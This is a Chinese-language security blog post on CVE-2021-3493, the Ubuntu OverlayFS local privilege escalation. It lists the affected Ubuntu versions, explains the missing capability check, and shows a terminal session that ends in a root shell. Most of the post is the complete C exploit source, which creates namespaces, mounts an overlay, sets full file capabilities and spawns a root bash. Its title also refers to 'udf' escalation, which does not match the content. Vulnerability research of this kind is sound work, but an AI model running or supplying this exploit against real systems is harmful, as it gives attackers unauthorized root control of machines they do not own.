ubuntu16.04提权(linux udf提权)

影响范围

  • Ubuntu 20 10

  • Ubuntu 20 04 LTS

  • Ubuntu 18 04 LTS

  • Ubuntu 16 04 LTS

  • Ubuntu 14 04 ESM

漏洞类型

本地权限提升

利用条件

影响范围应用

漏洞概述

Ubuntu的一个具体问题是在Linux内核中的overlayfs文件系统,它没有正确地验证文件系统功能在用户名称空间方面的应用,由于Ubuntu中的一个补丁允许非特权的overlayfs挂载,本地攻击者可以利用它来获得更高的权限。

漏洞复现

ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c  -o exploitubuntu@ubuntu:~/CVE-2021-3493$ ./exploitbash-4.4# iduid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(ubuntu)bash-4.4# whoamirootbash-4.4#

漏洞分析

Linux支持file capabilities扩展文件属性,该属性的作用类似于setuid-bit,但可以更细化,使用伪代码设置文件功能的简化过程如下所示:

setxattr(...):    if cap_convert_nscap(...) is not OK:        then fail    vfs_setxattr(...)

这里的关键调用是cap_convert_nscap,它检查有关namespaces的权限

如果我们在namespaces和mount上设置文件功能,就没有问题,而且我们有这样做的权限,问题是当OverlayFS将此操作转发到底层文件系统时,它只调用vfs_setxattr并跳过cap_convert_nscap中的检查,这允许在外部namespaces/mount中的文件上设置任意功能,在执行过程中也将应用这些功能。

在Linux 5.11中,对cap_convert_scap的调用被移动到vfssetx_attr中,因此它不再易受攻击。

漏洞EXP

    #define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <err.h>#include <errno.h>#include <sched.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/mount.h>
    //#include <attr/xattr.h>//#include <sys/xattr.h>int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);

    #define DIR_BASE \\\"./ovlcap\\\"#define DIR_WORK DIR_BASE \\\"/work\\\"#define DIR_LOWER DIR_BASE \\\"/lower\\\"#define DIR_UPPER DIR_BASE \\\"/upper\\\"#define DIR_MERGE DIR_BASE \\\"/merge\\\"#define BIN_MERGE DIR_MERGE \\\"/magic\\\"#define BIN_UPPER DIR_UPPER \\\"/magic\\\"

    static void xmkdir(const char *path, mode_t mode){ if (mkdir(path, mode) == -1 && errno != EEXIST) err(1, \\\"mkdir %s\\\", path);}
    static void xwritefile(const char *path, const char *data){ int fd = open(path, O_WRONLY); if (fd == -1) err(1, \\\"open %s\\\", path); ssize_t len = (ssize_t) strlen(data); if (write(fd, data, len) != len) err(1, \\\"write %s\\\", path); close(fd);}
    static void xcopyfile(const char *src, const char *dst, mode_t mode){ int fi, fo;
    if ((fi = open(src, O_RDONLY)) == -1) err(1, \\\"open %s\\\", src); if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1) err(1, \\\"open %s\\\", dst);
    char buf[4096]; ssize_t rd, wr;
    for (;;) { rd = read(fi, buf, sizeof(buf)); if (rd == 0) { break; } else if (rd == -1) { if (errno == EINTR) continue; err(1, \\\"read %s\\\", src); }
    char *p = buf; while (rd > 0) { wr = write(fo, p, rd); if (wr == -1) { if (errno == EINTR) continue; err(1, \\\"write %s\\\", dst); } p += wr; rd -= wr; } }
    close(fi); close(fo);}
    static int exploit(){ char buf[4096];
    sprintf(buf, \\\"rm -rf \\\'%s/\\\'\\\", DIR_BASE); system(buf);
    xmkdir(DIR_BASE, 0777); xmkdir(DIR_WORK, 0777); xmkdir(DIR_LOWER, 0777); xmkdir(DIR_UPPER, 0777); xmkdir(DIR_MERGE, 0777);
    uid_t uid = getuid(); gid_t gid = getgid();
    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) err(1, \\\"unshare\\\");
    xwritefile(\\\"/proc/self/setgroups\\\", \\\"deny\\\");
    sprintf(buf, \\\"0 %d 1\\\", uid); xwritefile(\\\"/proc/self/uid_map\\\", buf);
    sprintf(buf, \\\"0 %d 1\\\", gid); xwritefile(\\\"/proc/self/gid_map\\\", buf);
    sprintf(buf, \\\"lowerdir=%s,upperdir=%s,workdir=%s\\\", DIR_LOWER, DIR_UPPER, DIR_WORK); if (mount(\\\"overlay\\\", DIR_MERGE, \\\"overlay\\\", 0, buf) == -1) err(1, \\\"mount %s\\\", DIR_MERGE);
    // all+ep char cap[] = \\\"\\\\x01\\\\x00\\\\x00\\\\x02\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\";
    xcopyfile(\\\"/proc/self/exe\\\", BIN_MERGE, 0777); if (setxattr(BIN_MERGE, \\\"security.capability\\\", cap, sizeof(cap) - 1, 0) == -1) err(1, \\\"setxattr %s\\\", BIN_MERGE);
    return 0;}
    int main(int argc, char *argv[]){ if (strstr(argv[0], \\\"magic\\\") || (argc > 1 && !strcmp(argv[1], \\\"shell\\\"))) { setuid(0); setgid(0); execl(\\\"/bin/bash\\\", \\\"/bin/bash\\\", \\\"--norc\\\", \\\"--noprofile\\\", \\\"-i\\\", NULL); err(1, \\\"execl /bin/bash\\\"); }
    pid_t child = fork(); if (child == -1) err(1, \\\"fork\\\");
    if (child == 0) { _exit(exploit()); } else { waitpid(child, NULL, 0); }
    execl(BIN_UPPER, BIN_UPPER, \\\"shell\\\", NULL); err(1, \\\"execl %s\\\", BIN_UPPER);}

    参考链接

    https://ubuntu.com/security/CVE-2021-3493

    SSD Advisory – OverlayFS PE

    https://www.openwall.com/lists/oss-security/2021/04/16/1

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34345.html

    (0)
    七芒星实验室's avatar七芒星实验室
    上一篇 2024年4月13日 下午2:53
    下一篇 2024年4月13日 下午2:55

    相关推荐

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注